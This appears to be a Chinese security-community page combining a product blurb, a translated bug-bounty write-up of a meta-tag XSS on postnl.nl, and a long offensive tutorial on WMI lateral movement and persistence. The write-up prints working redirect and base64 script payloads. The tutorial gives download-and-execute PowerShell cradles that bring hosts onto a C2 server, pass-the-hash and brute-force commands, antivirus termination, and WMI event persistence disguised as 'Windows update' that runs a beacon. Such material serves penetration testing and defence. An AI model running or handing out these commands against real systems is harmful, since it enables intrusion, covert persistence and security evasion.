### 关于360天擎新一代终端安全管理系统
360天擎新一代终端安全管理系统是360企业安全集团为解决政企机构终端安全问题而推出的一体化解决方案，是中国政企客户3300万终端的信赖之选。系统以功能一体化、平台一体化、数据一体化为设计理念，以安全防护为核心，以运维管控为重点，以可视化管理为支撑，以可靠服务为保障，能够帮助政企客户构建终端防病毒、入侵防御、安全管理、软件分发、补丁管理、安全U盘、服务器加固、安全准入、非法外联、运维管控、主机审计、移动设备管理、资产发现、身份认证、数据加密、数据防泄露等十六大基础安全能力，帮助政企客户构建终端威胁检测、终端威胁响应、终端威胁鉴定等高级威胁对抗能力，为政企客户提供安全规划、战略分析和安全决策等终端安全治理能力。 | 社区文章 |
翻译自：<https://medium.com/@prial261/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308>
翻译：聂心明
今天我准备将一个xss漏洞报给 postnl.nl 的[src ](https://www.postnl.nl/en/responsible-disclosure/)
漏洞点：<http://realestate.postnl.nl/?Lang=>
我使用`“><xsstest>` 测试Lang参数是否有xss，然后在源码中我发现我输入的参数被输出到META标签之中了，就像下面这样 ：
<meta name="language" content=""><xsstest>" />
看起来很简单对吧？但是等一下，我输入`"><img src=x>` 我得到：
我尝试了很多HTML标签，然后我总结了两点：
* 所有的有效的HTML都不被允许
* 我能创建任何属性
所以我谷歌寻找meta标签属性，得到：
http-equiv属性引起我的注意。现在我又谷歌希望能了解到更多的东西
META标签有一个http-equiv属性，这个属性允许你在HTML代码中定义HTTP头的等效项。http-equiv属性会使用refresh这个值，这个值的可以被用来跳转到其他页面。
然后我输入`0;http://evil.com"HTTP-EQUIV="refresh"` 页面显示：
<meta name="language" content="0;http://evil.com"HTTP-EQUIV="refresh"" />
然后跳转到了evil.com，所以我已经能够跳转了。现在我试着构造URI XSS，所以我输入`0;javascript:alert(1)"HTTP-EQUIV="refresh"` 页面报
我的payload中触发了javascript关键字。所以我使用Base64编码一下payload。`0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"`,然后返回的源码是：
<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />
现在我访问：`http://realestate.postnl.nl/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22` 就可以xss了
我把漏洞报告给了官方[Zerocopter
](https://app.zerocopter.com/rd/caff4c53-e588-440b-9b07-c54b8e877c83)
。然后厂商通过把data:text/html;base64加入黑名单的方式修复了此漏洞，这种方式就像把javascript加入黑名单一样，但是我依然可以通过访问`http://realestate.postnl.nl/?Lang=0%3Bhttp%3A%2f%2fevil.com%22HTTP-EQUIV%3D%22refresh%22` 来达到任意跳转的目的。
官方又一次修复了这个漏洞，并且把我的名字放在了[名人堂](https://www.postnl.nl/en/responsible-disclosure/)
页面上，并且将会给我发一些礼物
谢谢你们阅读
喜欢我的话请在我的推特上关注我： <https://twitter.com/prial261>
如果你们有任何问题，欢迎在Facebook上向我提问
<https://www.facebook.com/prial261> | 社区文章 |
# WMI攻与防
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 讲在前面：
笔者在阅读了WMI的微软官方文档以及国内优秀前辈的介绍文章后，获益匪浅，WMI是一个较为老的知识点了，但是对于想要简单理解WMI的同学来说，对于一个新的知识点进行理解最好是能够有生动形象的例子进行抛砖引玉式的解读，将晦涩难懂的知识点吃透、理解后用简单的话语将其作用表达清楚，使其读者能够快速的理解并为读者接下来深入理解打好基础，以便在攻防中更好的利用WMI，所以此篇文章笔者使用通俗的话语将WMI表达清楚，在下文中对于基础薄弱的同学对于COM组件、Provider方法等专业名词可不做深度理解，只需要知道是WMI这个庞大工具的零件罢了，此文不足之处，望读者海涵。
## WMI是什么
### **简介：**
WMI是Windows在Powershell还未发布前，微软用来管理Windows系统的重要数据库工具，WMI本身的组织架构是一个数据库架构，WMI
服务使用 DCOM（TCP 端口135）或 WinRM 协议（SOAP–端口 5985，如下图
此图清晰明了的显示了WMI基础结构与 WMI 提供者和托管对象之间的关系，它还显示了 WMI 基础结构和 WMI
使用者之间的关系，同样我们也可以使用下图来理解。
**WMI Consumers(WMI使用者)**
它位于WMI构架的最顶层，是WMI技术使用的载体。
* 如果我们是C++程序员，我们可以通过COM技术直接与下层通信。
* 而脚本语言则要支持WMI Scripting API，间接与下层通信。
* 对于.net平台语言，则要使用System.Management域相关功能与下层通信。
这些WMI的使用者，可以查询、枚举数据，也可以运行Provider的方法，还有WMI事件通知。当然这些数据操作都是要有相应的Provider来提供。
**WMI Infrastructure(WMI基础结构)**
WMI基础结构是Windows系统的系统组件。它包含两个模块：包含WMI Core(WMI核心)的WMI
Service(WMI服务)(Winmgmt)和WMI Repository(WMI存储库)。WMI存储库是通过WMI
Namespace(WMI命名空间)组织起来的。在系统启动时，WMI服务会创建诸如root\default、root\cimv2和root\subscription等WMI命名空间，同时会预安装一部分WMI类的定义信息到这些命名空间中。其他命名空间是在操作系统或者产品调用有关WMI提供者(WMI
Provider)时才被创建出来的。简而言之，WMI存储库是用于存储WMI静态数据的存储空间。WMI服务扮演着WMi提供者、管理应用和WMI存储库之间的协调者角色。一般来说，它是通过一个共享的服务进程Svchost来实施工作的。当第一个管理应用向WMI命名空间发起连接时，WMI服务将会启动。当管理应用不再调用WMI时，WMI服务将会关闭或者进入低内存状态。如我们上图所示，WMI服务和上层应用之间是通过COM接口来实现的。当一个应用通过接口向WMI发起请求时，WMI将判断该请求是请求静态数据还是动态数据。
* 如果请求的是一个静态数据，WMI将从WMI存储库中查找数据并返回；
* 如果请求的是一个动态数据，比如一个托管对象的当前内存情况，WMI服务将请求传递给已经在WMI服务中注册的相应的WMI提供者。WMI提供者将数据返回给WMI服务，WMI服务再将结果返回给请求的应用。
**Managed object and WMI providers(托管对象和WMI提供者)**
WMI提供者是一个监控一个或者多个托管对象的COM接口。一个托管对象是一个逻辑或者物理组件，比如硬盘驱动器、网络适配器、数据库系统、操作系统、进程或者服务。和驱动相似，WMI提供者通过托管对象提供的数据向WMI服务提供数据，同时将WMI服务的请求传递给托管对象。
### WMI做什么
在Powershell未发布前用来管理Windows 2000、Windows95、Windows98、WindowsNT等操作系统
，当然如今的所有Windows系统依旧可以使用WMI来进行管理。
> **_注意：_**
>
> 在上图中我我们可以发现也可以理解，不论Powershell、VBScript或者其他什么语言，其本质还是使用.NET来访问WMI的类库，都是因为WMI向外暴露的一组API，然后进行管理，Powershell的发布只是让我们管理的方式多了一种，本质上没有改变去使用WMI。
### 为什么使用WMI
**对于Windows运维管理人员**
对于Windows运维管理功能主要是：访问本地主机的一些信息和服务，可以管理远程计算机（当然你必须要拥有足够的权限，并且双方开启WMI服务，且135端口的防火墙策略是入站出站允许的），比如：重启，关机，关闭进程，创建进程等。可以自定义脚本来进行自动化运维，十分方便，例如可以使用wmic、wbemtest工具。WMIC命令解释。
**使用Powershell来操作WMI管理：**
Powershell查询命名空间
Get-WmiObject -Class __namespace -Namespace root | select name
Powershell查询BIOS信息
Get-WmiObject -Class Win32_BIOS
Powershell查询计算机信息
Get-WmiObject -Class Win32_Operatingsystem
Powershell查询
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
#注意：在旧版中查询杀软的WMI命名空间为SecurityCenter
> ***注意：** 这里Powershell操作WMI的对象使用的是内置模块Get-> WmiObject，以及查询的类为Win32_Service类，Win32_Service的其他类在官方文档中已经罗列详细：Win32类计算机硬件类、操作系统类等，但是要注意Win32_Service不是唯一可以操作WMI的类，以下类可以交替使用。*
* WIn32_Service
* Win32_BaseService
* Win32_TerminalService
* Win32_SystemDriver
**使用wmic来操作WMI管理：**
#查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查询本机所有盘符
fsutil fsinfo drives
shell wmic logicaldisk list brief
shell wmic logicaldisk get description,name,size,freespace /value
#查看系统中⽹卡的IP地址和MAC地址
wmic nicconfig get ipaddress,macaddress
#⽤户列表
wmic useraccount list brief
#查看当前系统是否有屏保保护，延迟是多少
wmic desktop get screensaversecure,screensavertimeout
#域控机器
wmic ntdomain list brief
#查询杀软
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe && wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
#查询启动项
wmic startup list brief |more
#获取打补丁信息
wmic qfe list
#启动的程序
wmic startup list brief
#启动的程序
wmic startup list full
**对于网络安全人员**
对于网络安全人员在攻防当中，利用WMI进行横向移动、权限维持、权限提升、包括免杀都可以进行利用，这个在接下来的三个不同的篇章中进行介绍。
## WMI利用（横向移动）
### 讲在前面：
上一篇文章我们简单的解释了什么是WMI，WMI做什么，为什么使用WMI。本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章，希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。在横向移动中的固定过程中一定离不开“信息收集”，然后分析信息根据实际场景（工作组或者域）来进行横向移动，至于使用什么工具，为什么使用这个工具，笔者使用WMI的意见。所以本文分为三个段落，信息收集、横向移动、部分意见。
信息收集
### 信息收集
> ***注意**
> ：信息收集需要根据实际场景来进行收集，而不是说笔者罗列的就是必须要做，WMI可以做的信息收集操作远不至笔者罗列的如此，希望同学能够举一反三，自由搭配，参考微软官方文档，根据实际情况获取所需。*
>
> ***注意**
> ：wmic命令需要本地管理员或域管理员才可以进行正常使用，普通权限用户若想要使用wmi，可以修改普通用户的ACL，不过修改用户的ACL也需要管理员权限，这里笔者单独罗列小结：普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行，例如查询杀软。*
**使用WMIC管理wmi**
wmic logon list brief #登录⽤户
wmic ntdomain list brief #域控机器
wmic useraccount list brief #⽤户列表
wmic share get name,path #查看系统共享
wmic service list brief |more #服务列表
wmic startup list full #识别开机启动的程序，包括路径
wmic fsdir "c:\\test" call delete #删除C盘下的test目录
wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址
wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况
wmic product get name,version #查看系统中安装的软件以及版本，2008R2上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名
wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名
wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE，可以按照实际情况进行筛选
wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保保护，延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径
wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量
###查询当前主机的杀毒软件
wmic process where "name like '%forti%'" get name
wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
###
###查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like 'Microsoft .Net%'" get Name, Version
###
###查询本机所有盘符
wmic logicaldisk list brief
wmic logicaldisk get description,name,size,freespace /value
###
###卸载和重新安装程序
wmic product where "name like '%Office%'" get name
wmic product where name="Office" call uninstall
###
### 查看某个进程的详细信息 （路径，命令⾏参数等）
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径
wmic process where caption="frp.exe" get caption,commandline /value
###
### 更改PATH环境变量值，新增c:\whoami
wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami
###
### 查看某个进程的详细信息-PID
wmic process list brief
tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate
###
### 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate
ntsd -c q -p 进程的PID
taskkill -im pid
###
###获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber
###
###安装软件
wmic product get name,version
wmic product list brief
**使用Powershell操作wmi**
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share #共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件
###操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
###
###注册表操作
Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv
Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty OptionalComponents
### 横向移动
> ***注意**
> ：分析完信息后，根据已掌握的信息开始横向移动，无论您作何考虑，都需要利用到工具来进行操作，工具可以帮助您无需理解或多或少的知识，您只需读懂README即可，来帮助您获取shell，上传，下载，创建服务等操作，笔者会在此段中罗列部分WMI的工具以及部分命令用作横向移动，并在第三段给出部分实际利用的意见。*
>
> **wmic调用cmd** ***注意** ：以下命令需要管理员权限。*
###向指定IP执行cmd命令
wmic /node:10.10.0.10 /user:administrator /password:win@123 process call create "cmd.exe /c ipconfig >c:\ip.txt"
**wmic上线CS**
> ***注意** ：请注意powershell对于特殊字符的转义，例如“，@，#，$等等。*
* Scripted Web Delivery
wmic /NODE:192.168.8.180 /user:"administrator" /password:"win@123" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:8881/a'))\""
选择攻击模块
设置C2的Host以及监听器
在客户机上执行wmic命令，让指定的主机上线CS
* payload generator
> ***注意** ：测试下载时，可以自行使用Python开启WEB共享服务。*
wmic /NODE:192.168.8.179 /user:"administrator" /password:"Aatest" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.8.191:8000/payload.ps1');\""
选择攻击模块
设置监听器，并选择Powershell作为载荷
在客户机上执行wmic命令，让指定机器上线CS
**impacket-wmiexec.py**
> ***注意** ：请按照实际情况选择wmiexec.py的参数。*
"注意：根据impacket的版本不同，依赖的python版本也不同，这里笔者使用最新版本impacket，依赖python3。"
"注意：遇到特殊字符使用\进行转移，例如123@456，转义后：123\@456"
python3 wmiexec.py 用户名:密码@目标IP
python3 wmiexec.py 域名/用户名:密码@目标IP #哈希传递获得shell
python3 wmiexec.py 域名/用户名:密码@目标IP "ipconfig" #执行命令
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
python3 wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令
使用账号密码远程工作组机器
使用账号密码远程域机器
使用hash远程工作组机器
使用hash远程域机器
> ***注意** ：wmiexec 使⽤445端⼝传回显。*
**impacket-wmiexe.exe**
wmiexec.exe test1.com/win16:[email protected] -dc-ip 10.10.0.10
使用账号密码远程域机器
**Ladon**
模块功能 | 目标端口 | 目标系统 | 使用教程
---|---|---|---
WMI爆破 | 135 | Windows | [教程](http://k8gege.org/Ladon/WmiScan.html)
WMI-NtlmHash爆破 | 135 | Windows | [教程](http://k8gege.org/Ladon/WmiScan.html)
WmiExec | 135 | Windows | 只需要135端口通过注册表回显，不依赖445、Powershell
WmiExec2 | 135 | Windows | 只需135端口通过注册表回显，但依赖Powershell
**WMI爆破(135端口)**
> ***注意** ：请提前在ladon.exe目录下准备好user.txt和pass.txt。*
ladon.exe 192.168.8.192/24 WmiScan
**WMI-NtlmHash爆破（135端口）**
ladon.exe 192.168.8.192 WmiHashScan
**WmiExec**
ladon.exe wmiexec 192.168.8.192 Administrator win@123 cmd whoami
Ladon wmiexec成功执行命令
**WmiExec2**
###在工作组尝试执行命令
ladon.exe wmiexec2 192.168.8.192 Administrator win@123 cmd whoami
###在域内尝试执行命令
ladon.exe wmiexec2 10.10.0.10 test1\Administrator win@123 cmd whoami
Ladon wmiexec2成功在工作组执行命令
Ladon wmiexec2成功在域内执行命令
**WMIcmd**
> ***注意** ：WMIcmd需要.NET4.5.2的支持。*
WMIcmd.exe -h IP -d hostname -u localadmin -p theirpassword -c "command"
WMIcmd.exe在工作组上使用
WMIcmd.exe -h IP -d domain -u domainadmin -p theirpassword -c "command"
WMIcmd.exe在域内使用
**pth-wmic**
> ***注意** ：此为kali内置工具，只能执行一些WMI命令，无法执行其他命令*
###查询指定主机的用户列表select Name from Win32_UserAccount###
pth-wmic -U pig/Administrator%00000000000000000000000000000000:c56ade0c054ba703d9f56e302224bbb3 //192.168.8.181 "select Name from Win32_UserAccount"
使用pth-wmic来远程管理指定主机的WMI
**WMIHACKER**
> ***注意** ：wmihacker.vbs是在wmiexec.vbs基础上进行改进并优化的,新增了上传下载功能，其所需管理员权限。*
###命令执行后显示结果
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
###命令执行后不显示任何结果
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
###获取交互式shell
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
###文件上传：将本地calc.exe复制到远程主机c:\calc.exe
cscript wmihacker_0.6.vbs /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
###文件下载：将远程主机calc.exe下载到本地c:\calc.exe
cscript wmihacker_0.6.vbs /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
#获取半交互式shell
cscript.exe wmihacker.vbs /shell 192.168.8.179 Administrator "win@123"
工作组内获取半交互式shell
#获取半交互式shell
cscript.exe wmihacker.vbs /shell 10.10.0.10 win16 "win16"
域内获取半交互式shell
#将本地calc.exe复制到远程主机c:\calc.exe
cscript wmihacker_0.6.vbs /upload 192.168.8.179 administrator "win@123" "c:\windows\system32\calc.exe" "c:\calc"
工作组内进行文件上传
上传成功
**Invoke-WMIMethod**
> ***注意**
> ：该模块为Powershell内置模块，以下为示例，可以自由组合命令进行测试。示例在Windows2008R2、Windows2012R2、Windows2016均测试成功。*
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合，导入Credential
Invoke-WMIMethod #远程运行指定程序
#####---------------------------#####
$User = "WIN-D5IP32RU4A9\administrator"
$Password= ConvertTo-SecureString -String "win@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.8.179" -Credential $Cred
执行Powershell命令，成功创建运行cmd.exe，进程号为3192
3192进程对应的cmd.exe
**Invoke-WmiCommand**
> ***注意** ：Invoke-> WmiCommand.ps1为PowerSploit内置利用脚本，以下示例在Windows2008R2、Windows2012R2、Windows2016均测试成功。*
IEX.... #下载脚本并导入系统
$User #目标系统用户名
$Password #目标系统密码
$Cred #账号密码整合，导入Credential
$Remote #远程运行指定命令或程序
$Remote.PayloadOutput #将执行结果输出到屏幕上
#####---------------------------#####
IEX(New-Object Net.Webclient).DownloadString('http://192.168.8.190:8000/Invoke-WmiCommand.ps1')
$User = "WIN-D5IP32RU4A9\administrator"
$Password = ConvertTo-SecureString -String "win@123" -AsPlainText -Force
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
$Remote = Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.8.179
$Remote.PayloadOutput
执行成功，whoami的命令得到回显
**Invoke-WMIExec.ps1**
Invoke-WMIExec -Target 192.168.0.110 -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -Verbose
在工作组中内执行该PS1脚本
Invoke-WMIExec -Target 10.10.0.10 -Domain test1.com -Username Administrator -Hash 3edc68a5debd735545ddf69fb3c224a8 -Command "cmd /c ipconfig >>c:\ipconfig.txt" -VerboseSharp-WMIExec
在域内执行该PS1脚本
**WmiSploit**
* Enter-WmiShell（建立交互式shell）
Enter-WmiShell -ComputerName WIN-D5IP32RU4A9 -UserName Administrator
输入指定帐户凭据
利用Enter-WmiShell模块获取工作组交互式shell
利用Enter-WmiShell模块获取域内交互式shell
* Invoke-WmiCommand(执行命令)
Invoke-WmiCommand -ComputerName WIN-D5IP32RU4A9 -ScriptBlock {tasklist}
**WMImplant**
> ***注意** ：WMimplant 的功能一旦执行就可以在主菜单中找到。它可以执行文件传输操作、横向移动和主机侦察。
> CHANGE_USER命令做存储凭据使用。它有一个 shell 功能，可以使用 command_exec 触发，文件操作也可以远程执行。*
使用CHANGE_USER后执行命令
使用shell执行命令
文件操作
**WinRM**
> ***注意** ：Windows默认WinRM需要设置信任来源地址，在测试前，请设置信任所有来源地址，也就是允许被任意主机连接。*
winrm set winrm/config/client @{TrustedHosts="*"}
允许被任意主机连接
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}
在本地弹出计算器
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:
https://192.168.8.192:5985
-u:administrator -p:win@123
远程静默启动进程
### 部分意见
笔者上述罗列的部分工具原理都是一样，在实现的方法上各有千秋，建议各位同学根据实际场景需要针对性的DIY来满足自己的需求，解决问题，笔者建议ladon的爆破工具，wmic信息收集、以及WinRM需要留意。希望在实际攻防中，根据自身经验优先选择现有工具进行操作，如若没有趁手的，则可以自己使用.net或者VBS来进行开发。
**本文参考文章**
* [内网横移之WinRM](https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/)
* [内网渗透|基于WMI的横向移动](https://www.se7ensec.cn/2020/07/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E5%9F%BA%E4%BA%8Ewmi%E7%9A%84%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/)
* [WmiScan 135端口智能密码/WMI密码爆破](http://k8gege.org/Ladon/WmiScan.html)
* [WinRM的横向移动详解](https://www.freebuf.com/articles/system/259632.html)
* [WMI横向移动](https://blog.csdn.net/lhh134/article/details/104150949)
* [不需要 Win32_Process – 扩展 WMI 横向运动](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
## WMI利用（权限维持）
### 讲在前面：
在简单了解了WMI后，我们开始了横向移动，包括其中的信息收集，工具利用。那么在我们短暂的获取权限后，如何才能将权限持久化，也就是所说的权限维持住呢？笔者看了国内外部分文章后，发现WMI做权限维持主要是介绍WMI事件，并将其分为永久事件和临时事件，本文参考部分博客文章对WMI事件进行讲解，不足之处，望及时指出。
### 什么是WMI事件
WMI事件，即特定对象的属性发生改变时发出的通知，其中包括增加、修改、删除三种类型。可以使用wmic来进行操作。通俗的可以说：WMI内部出现什么变化就由WMI事件来进行通知。
WMI事件中的事件消费者可以分为临时和永久两类，临时的事件消费者只在其运行期间关心特定事件并进行处理，永久消费者作为类的实例注册在WMI命名空间中，一直有效到它被注销。所以在权限维持中一般我们使用WMI永久事件来进行。
对于WMI事件的官方解释以及部分博客解释：
* [WMI事件通知](https://cloud.tencent.com/developer/article/1383673)
* [接收WMI事件](https://docs.microsoft.com/en-us/windows/win32/wmisdk/receiving-a-wmi-event)
**查询事件**
#列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
列出事件过滤器
列出事件消费者
**删除事件**
#删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='事件过滤器名'" | Remove-WmiObject -Verbose
#删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='事件消费者名'" | Remove-WmiObject -Verbose
#删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose
删除事件过滤器
删除事件消费者
删除事件绑定
### WMI永久事件
> ***注意**
> ：没有指定时间轮询则需要机器重启才可以进行WMI轮询，需要注意的一点是，WMI可以任意指定触发条件，例如用户退出，某个程序创建，结束等等*。
**wmic添加永久事件**
#注册一个 WMI 事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter", EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'BugSecFilter'"
#注册一个 WMI 事件消费者
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c c:\beacon.exe"
#将事件消费者绑定到事件过滤器
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"', Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'
**Powershell添加永久事件**
> ***注意** ：可以考虑添加Powershell的时间间隔器，需要上线至C2则将Payload替换成C2的exe或者dll或者ps1即可。*
>
> ***注意** ：需要修改一下参数*
IntervalBetweenEvents ###修改间隔时间，以毫秒为单位。
$EventFilterArgs 中的 Name ###修改筛选器名称。
Query ###修改其中WQL语句，以下脚本中可不用修改，但TimerID需和$TimerArgs中的参数匹配。
$FinalPayload ###修改Payload，可以指定执行Powershell，或者cmd或者其他命令。
$CommandLineConsumerArgs 中的 Name ###修改消费者名称。
$TimerArgs = @{
IntervalBetweenEvents = ([UInt32] 2000) # 30 min
SkipIfPassed = $False
TimerId ="Trigger" };
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "Windows update trigger"
Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"
QueryLanguage = 'WQL' };
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs;
$FinalPayload = 'cmd.exe /c c:\beacon.exe'
$CommandLineConsumerArgs = @{
Name = "Windows update consumer"
CommandLineTemplate = $FinalPayload};
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer};
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs;
> ***注意**
> ：上述脚本出现的WQL语句，也可以指定WITHIN来指定间隔时间，以秒为单位，但是需提前指定TimerID，可以自行修改PS1脚本进行完善，将添加后门、删除后门的操作集成到一个脚本内完成，同时免杀的操作可以针对性的进行混淆或编码的操作。*
SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger'
**上线C2**
> ***注意**
> ：将上述Powershell脚本替换其执行的Payload进行本地执行，另存为ps1格式并修改其轮询的时间。若想做成远程下载格式，则需要将Powershell做好免杀的操作。*
运行ps1脚本后成功上线
**Mof文件添加事件**
> ***注意** ：笔者在测试Mof文件添加事件时，编译后的确能够正常添加事件，但是未能执行指定命令。*
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "test1comsumer";
RunInteractively=false;
CommandLineTemplate="cmd.exe /c c:\beacon.exe";
};
instance of __EventFilter as $Filt
{
Name = "test1filter";
EventNamespace = "root\\cimv2";
Query ="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'test1filter'";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
Filter = $Filt;
Consumer = $Cons;
};
编译
mofcomp.exe wmi.mof
事件添加成功
**本文参考文章：**
[WMI](https://github.com/AxelPotato/WMI)
## WMI利用（权限提升）
### 讲在前面：
WMI用作权限提升这一块笔者能力有限，未能搜集到更多的信息，只发现一个较为原始的漏洞CVE-2009-0078漏洞，较为原始，能力有限，不做细致分析。
### CVE-2009-0078
**简介** ：Microsoft Windows XP SP2 和 SP3、Server 2003 SP1 和 SP2、Vista Gold 和 SP1
以及 Server 2008 中的 Windows Management Instrumentation (WMI)
提供程序没有在一组不同的进程之间正确实现隔离，同一用户下运行的两个独立进程可以完全访问对方的文件句柄、注册表项等资源。WMI
提供程序主机在某些情况下会使用系统令牌，如果攻击者可以以网络服务或本地服务访问访问，攻击者就执行代码探索系统令牌的
WMI提供程序主机进程。找到了SYSTEM令牌，就可以进入SYSTEM级的提升了
